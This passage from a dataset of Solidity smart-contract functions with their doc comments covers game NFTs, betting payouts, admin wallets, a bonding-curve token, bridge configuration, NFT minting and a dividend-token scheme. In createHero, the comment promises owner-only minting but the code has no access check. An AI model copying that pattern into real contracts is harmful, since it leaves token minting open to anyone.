address(this));\r\n\r\n // You can only send your own token.\r\n require(_owns(msg.sender, _tokenId));\r\n\r\n // Reassign ownership, clear pending approvals, emit Transfer event.\r\n _transfer(msg.sender, _to, _tokenId);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev The external function that creates a new dungeon and stores it, only contract owners\r\n * can create new token, and will be restricted by the DUNGEON_CREATION_LIMIT.\r\n * Will generate a Mint event, a NewDungeonFloor event, and a Transfer event.\r\n * @param _difficulty The difficulty of the new dungeon.\r\n * @param _seedGenes The seed genes of the new dungeon.\r\n * @return The dungeon ID of the new dungeon.\r\n */", "function_code": "function createDungeon(uint _difficulty, uint _seedGenes, address _owner) eitherOwner external returns (uint) {\r\n // Ensure the total supply is within the fixed limit.\r\n require(totalSupply() < DUNGEON_CREATION_LIMIT);\r\n\r\n // UPDATE STORAGE\r\n // Create a new dungeon.\r\n dungeons.push(Dungeon(uint32(now), 0, uint16(_difficulty), 0, 0, 0, _seedGenes, 0));\r\n\r\n // Token id is the index in the storage array.\r\n uint newTokenId = dungeons.length - 1;\r\n\r\n // Emit the token mint event.\r\n Mint(_owner, newTokenId, _difficulty, _seedGenes);\r\n\r\n // Initialize the fist floor with using the seedGenes, this will emit the NewDungeonFloor event.\r\n addDungeonNewFloor(newTokenId, 0, _seedGenes);\r\n\r\n // This will assign ownership, and also emit the Transfer event.\r\n _transfer(0, _owner, newTokenId);\r\n\r\n return newTokenId;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev The external function to add another dungeon floor by its ID,\r\n * only contract owners can alter dungeon state.\r\n * Will generate both a NewDungeonFloor event.\r\n */", "function_code": "function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) eitherOwner public {\r\n require(_id < totalSupply());\r\n\r\n Dungeon storage dungeon = dungeons[_id];\r\n\r\n dungeon.floorNumber++;\r\n dungeon.floorCreationTime = uint32(now);\r\n dungeon.rewards = uint128(_newRewards);\r\n dungeon.floorGenes = _newFloorGenes;\r\n\r\n // Emit the NewDungeonFloor event.\r\n NewDungeonFloor(now, _id, dungeon.floorNumber, dungeon.rewards, dungeon.floorGenes);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev An external function that creates a new hero and stores it,\r\n * only contract owners can create new token.\r\n * method doesn't do any checking and should only be called when the\r\n * input data is known to be valid.\r\n * @param _genes The gene of the new hero.\r\n * @param _owner The inital owner of this hero.\r\n * @return The hero ID of the new hero.\r\n */", "function_code": "function createHero(uint _genes, address _owner) external returns (uint) {\r\n // UPDATE STORAGE\r\n // Create a new hero.\r\n heroes.push(Hero(uint64(now), _genes));\r\n\r\n // Token id is the index in the storage array.\r\n uint newTokenId = heroes.length - 1;\r\n\r\n // Emit the token mint event.\r\n Mint(_owner, newTokenId, _genes);\r\n\r\n // This will assign ownership, and also emit the Transfer event.\r\n _transfer(0, _owner, newTokenId);\r\n\r\n return newTokenId;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev An internal function to calculate the power of player, or difficulty of a dungeon floor,\r\n * if the total heroes power is larger than the current dungeon floor difficulty, the heroes win the challenge.\r\n */", "function_code": "function _getGenesPower(uint _genes) internal pure returns (uint) {\r\n // Calculate total stats power.\r\n uint statsPower;\r\n\r\n for (uint i = 0; i < 4; i++) {\r\n statsPower += _genes % 32;\r\n _genes /= 32 ** 4;\r\n }\r\n\r\n // Calculate total stats power.\r\n uint equipmentPower;\r\n bool isSuper = true;\r\n\r\n for (uint j = 4; j < 12; j++) {\r\n uint curGene = _genes % 32;\r\n equipmentPower += curGene;\r\n _genes /= 32 ** 4;\r\n\r\n if (equipmentPower != curGene * (j - 3)) {\r\n isSuper = false;\r\n }\r\n }\r\n\r\n // Calculate super power.\r\n if (isSuper) {\r\n equipmentPower *= 2;\r\n }\r\n\r\n return statsPower + equipmentPower + 12;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev The main public function to call when a player challenge a dungeon,\r\n * it determines whether if the player successfully challenged the current floor.\r\n * Will generate a DungeonChallenged event.\r\n */", "function_code": "function challenge(uint _dungeonId) external payable whenNotPaused canChallenge(_dungeonId) {\r\n // Get the dungeon details from the token contract.\r\n uint difficulty;\r\n uint seedGenes;\r\n (,,difficulty,,,,seedGenes,) = dungeonTokenContract.dungeons(_dungeonId);\r\n\r\n // Checks for payment, any exceeding funds will be transferred back to the player.\r\n uint requiredFee = difficulty * challengeFeeMultiplier;\r\n require(msg.value >= requiredFee);\r\n\r\n // ** STORAGE UPDATE **\r\n // Increment the accumulated rewards for the dungeon.\r\n dungeonTokenContract.addDungeonRewards(_dungeonId, requiredFee);\r\n\r\n // Calculate any excess funds and make it available to be withdrawed by the player.\r\n asyncSend(msg.sender, msg.value - requiredFee);\r\n\r\n // Split the challenge function into multiple parts because of stack too deep error.\r\n _challengePart2(_dungeonId);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Split the challenge function into multiple parts because of stack too deep error.\r\n */", "function_code": "function _getFirstHeroGenesAndInitialize(uint _dungeonId) private returns (uint heroGenes) {\r\n uint seedGenes;\r\n (,,,,,,seedGenes,) = dungeonTokenContract.dungeons(_dungeonId);\r\n\r\n // Get the first hero of the player.\r\n uint heroId;\r\n\r\n if (heroTokenContract.balanceOf(msg.sender) == 0) {\r\n // Assign the first hero using the seed genes of the dungeon for new player.\r\n heroId = heroTokenContract.createHero(seedGenes, msg.sender);\r\n } else {\r\n heroId = heroTokenContract.ownerTokens(msg.sender, 0);\r\n }\r\n\r\n // Get the hero genes from token storage.\r\n (,heroGenes) = heroTokenContract.heroes(heroId);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev The external function to get all the relevant information about a specific dungeon by its ID.\r\n * @param _id The ID of the dungeon.\r\n */", "function_code": "function getDungeonDetails(uint _id) external view returns (uint creationTime, uint status, uint difficulty, uint floorNumber, uint floorCreationTime, uint rewards, uint seedGenes, uint floorGenes) {\r\n require(_id < dungeonTokenContract.totalSupply());\r\n\r\n (creationTime, status, difficulty, floorNumber, floorCreationTime, rewards, seedGenes, floorGenes) = dungeonTokenContract.dungeons(_id);\r\n }", "version": "0.4.19"} {"comment": "// Check if the player won or refund if randomness proof failed", "function_code": "function checkIfWon(uint _currentQueryId, uint _randomNumber) private {\r\n bool win;\r\n if (_randomNumber != 101) {\r\n if (_randomNumber < 90) {\r\n win = true;\r\n sendPayout(_currentQueryId, ((queryIdMap[_currentQueryId].betValue*110)/100));\r\n } else {\r\n win = false;\r\n sendOneWei(_currentQueryId);\r\n }\r\n } else {\r\n win = false;\r\n sendRefund(_currentQueryId);\r\n }\r\n logBet(_currentQueryId, _randomNumber, win);\r\n }", "version": "0.4.20"} {"comment": "///@notice Adds the specified address to the list of administrators.\n///@param account The address to add to the administrator list.\n///@return Returns true if the operation was successful.", "function_code": "function addAdmin(address account) external onlyAdmin returns(bool) {\r\n require(account != address(0), \"Invalid address.\");\r\n require(!_admins[account], \"This address is already an administrator.\");\r\n\r\n require(account != super.owner(), \"The owner cannot be added or removed to or from the administrator list.\");\r\n\r\n _admins[account] = true;\r\n\r\n emit AdminAdded(account);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Adds multiple addresses to the administrator list.\n///@param accounts The account addresses to add to the administrator list.\n///@return Returns true if the operation was successful.", "function_code": "function addManyAdmins(address[] calldata accounts) external onlyAdmin returns(bool) {\r\n for(uint8 i = 0; i < accounts.length; i++) {\r\n address account = accounts[i];\r\n\r\n ///Zero address cannot be an admin.\r\n ///The owner is already an admin and cannot be assigned.\r\n ///The address cannot be an existing admin.\r\n if(account != address(0) && !_admins[account] && account != super.owner()) {\r\n _admins[account] = true;\r\n\r\n emit AdminAdded(accounts[i]);\r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Removes the specified address from the list of administrators.\n///@param account The address to remove from the administrator list.\n///@return Returns true if the operation was successful.", "function_code": "function removeAdmin(address account) external onlyAdmin returns(bool) {\r\n require(account != address(0), \"Invalid address.\");\r\n require(_admins[account], \"This address isn't an administrator.\");\r\n\r\n //The owner cannot be removed as admin.\r\n require(account != super.owner(), \"The owner cannot be added or removed to or from the administrator list.\");\r\n\r\n _admins[account] = false;\r\n emit AdminRemoved(account);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Ensures that the requested ERC20 transfer amount is within the maximum allowed limit.\n///@param amount The amount being requested to be transferred out of this contract.\n///@return Returns true if the transfer request is valid and acceptable.", "function_code": "function checkIfValidTransfer(uint256 amount) public view returns(bool) {\r\n require(amount > 0, \"Access is denied.\");\r\n\r\n if(_maximumTransfer > 0) {\r\n require(amount <= _maximumTransfer, \"Sorry but the amount you're transferring is too much.\");\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Allows the sender to transfer tokens to the beneficiary.\n///@param token The ERC20 token to transfer.\n///@param destination The destination wallet address to send funds to.\n///@param amount The amount of tokens to send to the specified address.\n///@return Returns true if the operation was successful.", "function_code": "function transferTokens(address token, address destination, uint256 amount)\r\n external onlyAdmin whenNotPaused\r\n returns(bool) {\r\n require(checkIfValidTransfer(amount), \"Access is denied.\");\r\n\r\n ERC20 erc20 = ERC20(token);\r\n\r\n require\r\n (\r\n erc20.balanceOf(address(this)) >= amount,\r\n \"You don't have sufficient funds to transfer amount that large.\"\r\n );\r\n\r\n\r\n erc20.safeTransfer(destination, amount);\r\n\r\n\r\n emit TransferPerformed(token, msg.sender, destination, amount);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Allows the sender to transfer Ethers to the beneficiary.\n///@param destination The destination wallet address to send funds to.\n///@param amount The amount of Ether in wei to send to the specified address.\n///@return Returns true if the operation was successful.", "function_code": "function transferEthers(address payable destination, uint256 amount)\r\n external onlyAdmin whenNotPaused\r\n returns(bool) {\r\n require(checkIfValidWeiTransfer(amount), \"Access is denied.\");\r\n\r\n require\r\n (\r\n address(this).balance >= amount,\r\n \"You don't have sufficient funds to transfer amount that large.\"\r\n );\r\n\r\n\r\n destination.transfer(amount);\r\n\r\n\r\n emit EtherTransferPerformed(msg.sender, destination, amount);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "///@notice Allows the requester to perform ERC20 bulk transfer operation.\n///@param token The ERC20 token to bulk transfer.\n///@param destinations The destination wallet addresses to send funds to.\n///@param amounts The respective amount of funds to send to the specified addresses.\n///@return Returns true if the operation was successful.", "function_code": "function bulkTransfer(address token, address[] calldata destinations, uint256[] calldata amounts)\r\n external onlyAdmin whenNotPaused\r\n returns(bool) {\r\n require(destinations.length == amounts.length, \"Invalid operation.\");\r\n\r\n //Saving gas by first determining if the sender actually has sufficient balance\r\n //to post this transaction.\r\n uint256 requiredBalance = sumOf(amounts);\r\n\r\n //Verifying whether or not this transaction exceeds the maximum allowed ERC20 transfer cap.\r\n require(checkIfValidTransfer(requiredBalance), \"Access is denied.\");\r\n\r\n ERC20 erc20 = ERC20(token);\r\n\r\n require\r\n (\r\n erc20.balanceOf(address(this)) >= requiredBalance,\r\n \"You don't have sufficient funds to transfer amount this big.\"\r\n );\r\n\r\n\r\n for (uint256 i = 0; i < destinations.length; i++) {\r\n erc20.safeTransfer(destinations[i], amounts[i]);\r\n }\r\n\r\n emit BulkTransferPerformed(token, msg.sender, destinations.length, requiredBalance);\r\n return true;\r\n }", "version": "0.5.9"} {"comment": "/// #if_succeeds {:msg \"The sell amount should be correct - case _amount = 0\"} \n/// _amount == 0 ==> $result == 0;\n/// #if_succeeds {:msg \"The sell amount should be correct - case _reserveWeight = MAX_WEIGHT\"}\n/// _reserveWeight == 1000000 ==> $result == _removeSellTax(_reserveBalance.mul(_amount) / _supply);", "function_code": "function saleTargetAmount(\n uint256 _supply,\n uint256 _reserveBalance,\n uint32 _reserveWeight,\n uint256 _amount\n ) public view returns (uint256) {\n uint256 reserveValue = _curveAddress.saleTargetAmount(\n _supply,\n _reserveBalance,\n _reserveWeight,\n _amount\n );\n uint256 gross = _removeSellTax(reserveValue);\n return gross;\n }", "version": "0.6.12"} {"comment": "/// #if_succeeds {:msg \"The fundCost amount should be correct - case _amount = 0\"}\n/// _amount == 0 ==> $result == 0;\n/// #if_succeeds {:msg \"The fundCost amount should be correct - case _reserveRatio = MAX_WEIGHT\"}\n/// _reserveRatio == 1000000 ==> $result == _addBuyTax(_curveAddress.fundCost(_supply, _reserveBalance, _reserveRatio, _amount));", "function_code": "function fundCost(\n uint256 _supply,\n uint256 _reserveBalance,\n uint32 _reserveRatio,\n uint256 _amount\n ) public view returns (uint256) {\n uint256 reserveTokenCost = _curveAddress.fundCost(\n _supply,\n _reserveBalance,\n _reserveRatio,\n _amount\n );\n uint256 net = _addBuyTax(reserveTokenCost);\n return net;\n }", "version": "0.6.12"} {"comment": "/// #if_succeeds {:msg \"The liquidateReserveAmount should be correct - case _amount = 0\"}\n/// _amount == 0 ==> $result == 0;\n/// #if_succeeds {:msg \"The liquidateReserveAmount should be correct - case _amount = _supply\"}\n/// _amount == _supply ==> $result == _removeSellTax(_reserveBalance);\n/// #if_succeeds {:msg \"The liquidateReserveAmount should be correct - case _reserveRatio = MAX_WEIGHT\"}\n/// _reserveRatio == 1000000 ==> $result == _removeSellTax(_amount.mul(_reserveBalance) / _supply);", "function_code": "function liquidateReserveAmount(\n uint256 _supply,\n uint256 _reserveBalance,\n uint32 _reserveRatio,\n uint256 _amount\n ) public view returns (uint256) {\n uint256 liquidateValue = _curveAddress.liquidateReserveAmount(\n _supply,\n _reserveBalance,\n _reserveRatio,\n _amount\n );\n uint256 gross = _removeSellTax(liquidateValue);\n return gross;\n }", "version": "0.6.12"} {"comment": "/// #if_succeeds {:msg \"The tax should go to the owner\"}\n/// let reserveBalance := old(_reserveAsset.balanceOf(address(this))) in\n/// let reserveTokenCost := old(fundCost(totalSupply(), reserveBalance, _fixedReserveRatio, amount)) in\n/// let taxDeducted := old(_removeBuyTax(reserveTokenCost)) in\n/// (msg.sender != owner() && address(this) != owner()) ==> _reserveAsset.balanceOf(owner()) == old(_reserveAsset.balanceOf(owner()) + reserveTokenCost.sub(taxDeducted));", "function_code": "function mint(address account, uint256 amount) public returns (bool) {\n uint256 reserveBalance = _reserveAsset.balanceOf(address(this));\n uint256 reserveTokenCost = fundCost(totalSupply(), reserveBalance, _fixedReserveRatio, amount);\n\n uint256 taxDeducted = _removeBuyTax(reserveTokenCost);\n require(\n _reserveAsset.transferFrom(\n _msgSender(),\n address(this),\n reserveTokenCost\n ),\n \"BrincToken:mint:Reserve asset transfer for mint failed\"\n );\n require(\n _reserveAsset.transfer(\n owner(),\n reserveTokenCost.sub(taxDeducted)\n ),\n \"BrincToken:mint:Tax transfer failed\"\n );\n _mint(account, amount);\n return true;\n }", "version": "0.6.12"} {"comment": "/// #if_succeeds {:msg \"The caller's BrincToken balance should be increase correct\"}\n/// let reserveBalance := old(_reserveAsset.balanceOf(address(this))) in\n/// let tokensToMint := old(purchaseTargetAmount(totalSupply(), reserveBalance, _fixedReserveRatio, amount)) in\n/// msg.sender != owner() ==> this.balanceOf(account) == old(this.balanceOf(account) + tokensToMint);\n/// #if_succeeds {:msg \"The reserve balance should increase by exact amount\"}\n/// let taxDeducted := old(_removeBuyTaxFromSpecificAmount(amount)) in \n/// (msg.sender != owner() && address(this) != owner()) ==> _reserveAsset.balanceOf(address(this)) == old(_reserveAsset.balanceOf(address(this)) + amount - amount.sub(taxDeducted));\n/// #if_succeeds {:msg \"The tax should go to the owner\"}\n/// let taxDeducted := old(_removeBuyTaxFromSpecificAmount(amount)) in\n/// (msg.sender != owner() && address(this) != owner()) ==> _reserveAsset.balanceOf(owner()) == old(_reserveAsset.balanceOf(owner())) + amount.sub(taxDeducted);\n/// #if_succeeds {:msg \"The result should be true\"} $result == true;", "function_code": "function mintForSpecificReserveAmount(address account, uint256 amount) public returns (bool) {\n uint256 reserveBalance = _reserveAsset.balanceOf(address(this));\n\n uint256 taxDeducted = _removeBuyTaxFromSpecificAmount(amount);\n uint256 tokensToMint = purchaseTargetAmount(\n totalSupply(), \n reserveBalance, \n _fixedReserveRatio, \n amount\n );\n\n require(\n _reserveAsset.transferFrom(\n _msgSender(),\n address(this),\n amount\n ),\n \"BrincToken:mint:Reserve asset transfer for mint failed\"\n );\n require(\n _reserveAsset.transfer(\n owner(),\n amount.sub(taxDeducted)\n ),\n \"BrincToken:mint:Tax transfer failed\"\n );\n _mint(account, tokensToMint);\n return true;\n }", "version": "0.6.12"} {"comment": "/// #if_succeeds {:msg \"The overridden burn should decrease caller's BrincToken balance\"}\n/// this.balanceOf(_msgSender()) == old(this.balanceOf(_msgSender()) - amount);\n/// #if_succeeds {:msg \"burn should add burn tax to the owner's balance\"}\n/// let reserveBalance := old(_reserveAsset.balanceOf(address(this))) in\n/// let reserveTokenNet := old(liquidateReserveAmount(totalSupply(), reserveBalance, _fixedReserveRatio, amount)) in\n/// let taxAdded := old(_addSellTax(reserveTokenNet)) in\n/// (msg.sender != owner() && address(this) != owner()) ==> _reserveAsset.balanceOf(owner()) == old(_reserveAsset.balanceOf(owner()) + taxAdded.sub(reserveTokenNet));\n/// #if_succeeds {:msg \"burn should decrease BrincToken reserve balance by exact amount\"}\n/// let reserveBalance := old(_reserveAsset.balanceOf(address(this))) in\n/// let reserveTokenNet := old(liquidateReserveAmount(totalSupply(), reserveBalance, _fixedReserveRatio, amount)) in\n/// let taxAdded := old(_addSellTax(reserveTokenNet)) in\n/// (msg.sender != owner() && address(this) != owner()) ==> _reserveAsset.balanceOf(address(this)) == old(_reserveAsset.balanceOf(address(this)) - reserveTokenNet - taxAdded.sub(reserveTokenNet));\n/// #if_succeeds {:msg \"burn should increase user's reserve balance by exact amount\"}\n/// let reserveBalance := old(_reserveAsset.balanceOf(address(this))) in\n/// let reserveTokenNet := old(liquidateReserveAmount(totalSupply(), reserveBalance, _fixedReserveRatio, amount)) in\n/// msg.sender != owner() ==> _reserveAsset.balanceOf(_msgSender()) == old(_reserveAsset.balanceOf(_msgSender()) + reserveTokenNet);", "function_code": "function burn(uint256 amount) public override {\n uint256 reserveBalance = _reserveAsset.balanceOf(address(this));\n uint256 reserveTokenNet = liquidateReserveAmount(totalSupply(), reserveBalance, _fixedReserveRatio, amount);\n _burn(_msgSender(), amount);\n\n uint256 taxAdded = _addSellTax(reserveTokenNet);\n require(_reserveAsset.transfer(owner(), taxAdded.sub(reserveTokenNet)), \"BrincToken:burn:Tax transfer failed\");\n require(_reserveAsset.transfer(_msgSender(), reserveTokenNet), \"BrincToken:burn:Reserve asset transfer failed\");\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Returns a list of all existing token IDs converted to strings\n */", "function_code": "function getAllTokenIDs() public view returns (string[] memory result) {\n uint256 length = _allTokenIDs.length;\n result = new string[](length);\n for (uint256 i = 0; i < length; ++i) {\n result[i] = bytes32ToString(_allTokenIDs[i]);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Returns true if the token has an underlying token -- meaning the token is deposited into the bridge\n * @param tokenID String to check if it is a withdraw/underlying token\n */", "function_code": "function hasUnderlyingToken(string calldata tokenID) public view returns (bool) {\n bytes32 bytesTokenID = stringToBytes32(tokenID);\n Token[] memory _mcTokens = _allTokens[bytesTokenID];\n for (uint256 i = 0; i < _mcTokens.length; ++i) {\n if (_mcTokens[i].hasUnderlying) {\n return true;\n }\n }\n return false;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Returns which token is the underlying token to withdraw\n * @param tokenID string token ID\n */", "function_code": "function getUnderlyingToken(string calldata tokenID) public view returns (Token memory token) {\n bytes32 bytesTokenID = stringToBytes32(tokenID);\n Token[] memory _mcTokens = _allTokens[bytesTokenID];\n for (uint256 i = 0; i < _mcTokens.length; ++i) {\n if (_mcTokens[i].isUnderlying) {\n return _mcTokens[i];\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Internal function which handles logic of setting token ID and dealing with mappings\n * @param tokenID bytes32 version of ID\n * @param chainID which chain to set the token config for\n * @param tokenToAdd Token object to set the mapping to\n */", "function_code": "function _setTokenConfig(bytes32 tokenID, uint256 chainID, Token memory tokenToAdd) internal returns(bool) {\n _tokens[tokenID][chainID] = tokenToAdd;\n if (!_isTokenIDExist(tokenID)) {\n _allTokenIDs.push(tokenID);\n }\n\n Token[] storage _mcTokens = _allTokens[tokenID];\n for (uint256 i = 0; i < _mcTokens.length; ++i) {\n if (_mcTokens[i].chainId == chainID) {\n address oldToken = _mcTokens[i].tokenAddress;\n if (tokenToAdd.tokenAddress != oldToken) {\n _mcTokens[i].tokenAddress = tokenToAdd.tokenAddress ;\n _tokenIDMap[chainID][oldToken] = keccak256('');\n _tokenIDMap[chainID][tokenToAdd.tokenAddress] = tokenID;\n }\n }\n }\n _mcTokens.push(tokenToAdd);\n _tokenIDMap[chainID][tokenToAdd.tokenAddress] = tokenID;\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Main write function of this contract - Handles creating the struct and passing it to the internal logic function\n * @param tokenID string ID to set the token config object form\n * @param chainID chain ID to use for the token config object\n * @param tokenAddress token address of the token on the given chain\n * @param tokenDecimals decimals of token\n * @param maxSwap maximum amount of token allowed to be transferred at once - in native token decimals\n * @param minSwap minimum amount of token needed to be transferred at once - in native token decimals\n * @param swapFee percent based swap fee -- 10e6 == 10bps\n * @param maxSwapFee max swap fee to be charged - in native token decimals\n * @param minSwapFee min swap fee to be charged - in native token decimals - especially useful for mainnet ETH\n * @param hasUnderlying bool which represents whether this is a global mint token or one to withdraw()\n * @param isUnderlying bool which represents if this token is the one to withdraw on the given chain\n */", "function_code": "function setTokenConfig(\n string calldata tokenID,\n uint256 chainID,\n address tokenAddress,\n uint8 tokenDecimals,\n uint256 maxSwap,\n uint256 minSwap,\n uint256 swapFee,\n uint256 maxSwapFee,\n uint256 minSwapFee,\n bool hasUnderlying,\n bool isUnderlying\n ) public returns (bool) {\n require(hasRole(BRIDGEMANAGER_ROLE, msg.sender));\n Token memory tokenToAdd;\n tokenToAdd.tokenAddress = tokenAddress;\n tokenToAdd.tokenDecimals = tokenDecimals;\n tokenToAdd.maxSwap = maxSwap;\n tokenToAdd.minSwap = minSwap;\n tokenToAdd.swapFee = swapFee;\n tokenToAdd.maxSwapFee = maxSwapFee;\n tokenToAdd.minSwapFee = minSwapFee;\n tokenToAdd.hasUnderlying = hasUnderlying;\n tokenToAdd.isUnderlying = isUnderlying;\n\n return _setTokenConfig(stringToBytes32(tokenID), chainID, tokenToAdd);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Calculates bridge swap fee based on the destination chain's token transfer.\n * @dev This means the fee should be calculated based on the chain that the nodes emit a tx on\n * @param tokenAddress address of the destination token to query token config for\n * @param chainID destination chain ID to query the token config for\n * @param amount in native token decimals\n * @return Fee calculated in token decimals\n */", "function_code": "function calculateSwapFee(\n address tokenAddress,\n uint256 chainID,\n uint256 amount\n ) external view returns (uint256) {\n Token memory token = getToken(tokenAddress, chainID);\n uint256 calculatedSwapFee = amount.mul(token.swapFee).div(FEE_DENOMINATOR);\n if (calculatedSwapFee > token.minSwapFee && calculatedSwapFee < token.maxSwapFee) {\n return calculatedSwapFee;\n } else if (calculatedSwapFee > token.maxSwapFee) {\n return token.maxSwapFee;\n } else {\n return token.minSwapFee;\n }\n }", "version": "0.6.12"} {"comment": "/*\n @notice: mintMany is for minting many once the public sale is active. The\n parameter _mintAmount indicates the number of tokens the user wishes to\n mint.\n \n The following checks occur, it checks:\n - that the public mint is active\n - whether collection sold out\n - whether _mintAmount is within boundaries: 0 < x <= 10\n - whether minting _mintAmount would exceed supply.\n - finally checks where value > price*_mintAmount\n \n Upon passing checks it calls the internal _mintOnce function to perform\n the minting.\n */", "function_code": "function mintMany(uint256 _mintAmount) external payable whenNotPaused {\n\n uint256 _totalSupply = totalSupply();\n require(\n _isPublicMintActiveInternal(_totalSupply),\n \"public sale not active\"\n );\n // require(!_isSoldOut(_totalSupply), \"sold out\");\n require(_mintAmount <= maxMintAmount,\"exceeds max mint per tx\");\n // require(_mintAmount > 0,\"Mint should be > 0\");\n require(\n _totalSupply + _mintAmount <= MAX_SUPPLY,\n \"exceeds supply\"\n );\n require(msg.value == price * _mintAmount, \"insufficient funds\");\n\n for (uint i = 0; i < _mintAmount; i++) {\n _mintOnce();\n }\n }", "version": "0.8.4"} {"comment": "/*\n @notice: mintColorsBatch is for colors holders to mint a batch of their\n specific tokens.\n \n The following checks occur, it checks:\n - that the public mint not be active\n - number of tokens in the array does not exceed boundaries:\n 0 < tokenIds.length <= 10\n \n Then, it begins looping over the array of tokenIds sent and performs the\n following checks:\n - that the tokenID has not already been claimed\n - that the owner of the tokenID is the msg.sender\n \n It then sets the token as claimed.\n \n Finally calls the _mintOnce internal function to perform the mint.\n */", "function_code": "function mintColorsBatch(uint256[] memory tokenIds) external whenNotPaused {\n uint256 _totalSupply = totalSupply();\n require(!_isPublicMintActiveInternal(_totalSupply),\"presale over\");\n require(tokenIds.length <= maxMintAmount,\"exceeds max mint per tx\");\n require(tokenIds.length > 0,\"Mint should be > 0\");\n\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(!hasClaimed[tokenIds[i]], \"Color already claimed.\");\n require(\n msg.sender == IERC721(THE_COLORS).ownerOf(tokenIds[i]),\n \"Only owner can claim.\"\n );\n hasClaimed[tokenIds[i]] = true;\n _mintOnce();\n }\n }", "version": "0.8.4"} {"comment": "/*\n @notice: this is a helper function for the frontend that allows the user\n to view how many of their colors are available to be minted.\n */", "function_code": "function getUnmintedSpoonsByUser(address user)\n external\n view\n returns (uint256[] memory)\n {\n\n uint256[] memory tokenIds = new uint256[](4317);\n\n uint index = 0;\n for (uint i = 0; i < 4317; i++) {\n address tokenOwner = ERC721(THE_COLORS).ownerOf(i);\n\n if (user == tokenOwner && !hasClaimed[i]) {\n tokenIds[index] = i;\n index += 1;\n }\n }\n\n uint left = 4317 - index;\n for (uint i = 0; i < left; i++) {\n tokenIds[index] = 9999;\n index += 1;\n }\n\n return tokenIds;\n }", "version": "0.8.4"} {"comment": "// Claim Your Vibe!", "function_code": "function claimVibe(uint256 tokenId) external payable {\n require(addressCanClaim[msg.sender], \"You are not on the list\");\n require(balanceOf(msg.sender) < 1, \"too many\");\n require(msg.value == mintPrice, \"Valid price not sent\");\n _transferEnabled = true;\n addressCanClaim[msg.sender] = false;\n IERC721(this).safeTransferFrom(address(this), msg.sender, tokenId);\n _transferEnabled = false;\n }", "version": "0.8.3"} {"comment": "// Creation of Vibes", "function_code": "function vibeFactory(uint256 num) external onlyOwner {\n uint256 newItemId = _tokenIds.current();\n _transferEnabled = true;\n for (uint256 i; i < num; i++) {\n _tokenIds.increment();\n newItemId = _tokenIds.current();\n _safeMint(address(this), newItemId);\n }\n setApprovalForAll(address(this), true);\n _transferEnabled = false;\n }", "version": "0.8.3"} {"comment": "/// @dev Converts all incoming ethereum to tokens for the caller", "function_code": "function buy() public payable returns (uint256) {\r\n if (contractIsLaunched){\r\n //ETH sent during prelaunch needs to be processed\r\n if(stats[msg.sender].invested == 0 && referralBalance_[msg.sender] > 0){\r\n reinvestFor(msg.sender);\r\n }\r\n return purchaseTokens(msg.sender, msg.value);\r\n } else {\r\n //Just deposit funds\r\n return deposit();\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Internal utility method for reinvesting", "function_code": "function reinvestFor(address _customerAddress) internal {\r\n\r\n // fetch dividends\r\n uint256 _dividends = totalDividends(_customerAddress, false);\r\n // retrieve ref. bonus later in the code\r\n\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n\r\n // retrieve ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n\r\n // dispatch a buy order with the virtualized \"withdrawn dividends\"\r\n uint256 _tokens = purchaseTokens(_customerAddress, _dividends);\r\n\r\n // fire event\r\n emit onReinvestment(_customerAddress, _dividends, _tokens);\r\n\r\n //Stats\r\n stats[_customerAddress].reinvested = SafeMath.add(stats[_customerAddress].reinvested, _dividends);\r\n stats[_customerAddress].xReinvested += 1;\r\n\r\n //Refresh the coolOff\r\n bot[_customerAddress].coolOff = now;\r\n\r\n }", "version": "0.4.24"} {"comment": "/// @dev Utility function for withdrawing earnings", "function_code": "function withdrawFor(address _customerAddress) internal {\r\n\r\n // setup data\r\n uint256 _dividends = totalDividends(_customerAddress, false);\r\n // get ref. bonus later in the code\r\n\r\n // update dividend tracker\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n\r\n // add ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n\r\n // lambo delivery service\r\n _customerAddress.transfer(_dividends);\r\n\r\n //stats\r\n stats[_customerAddress].withdrawn = SafeMath.add(stats[_customerAddress].withdrawn, _dividends);\r\n stats[_customerAddress].xWithdrawn += 1;\r\n\r\n // fire event\r\n emit onWithdraw(_customerAddress, _dividends);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Utility function for transfering tokens", "function_code": "function transferTokens(address _customerAddress, address _toAddress, uint256 _amountOfTokens) internal returns (bool){\r\n\r\n // make sure we have the requested tokens\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n // withdraw all outstanding dividends first\r\n if (totalDividends(_customerAddress,true) > 0) {\r\n withdrawFor(_customerAddress);\r\n }\r\n\r\n // liquify a percentage of the tokens that are transfered\r\n // these are dispersed to shareholders\r\n uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);\r\n uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);\r\n uint256 _dividends = tokensToEthereum_(_tokenFee);\r\n\r\n // burn the fee tokens\r\n 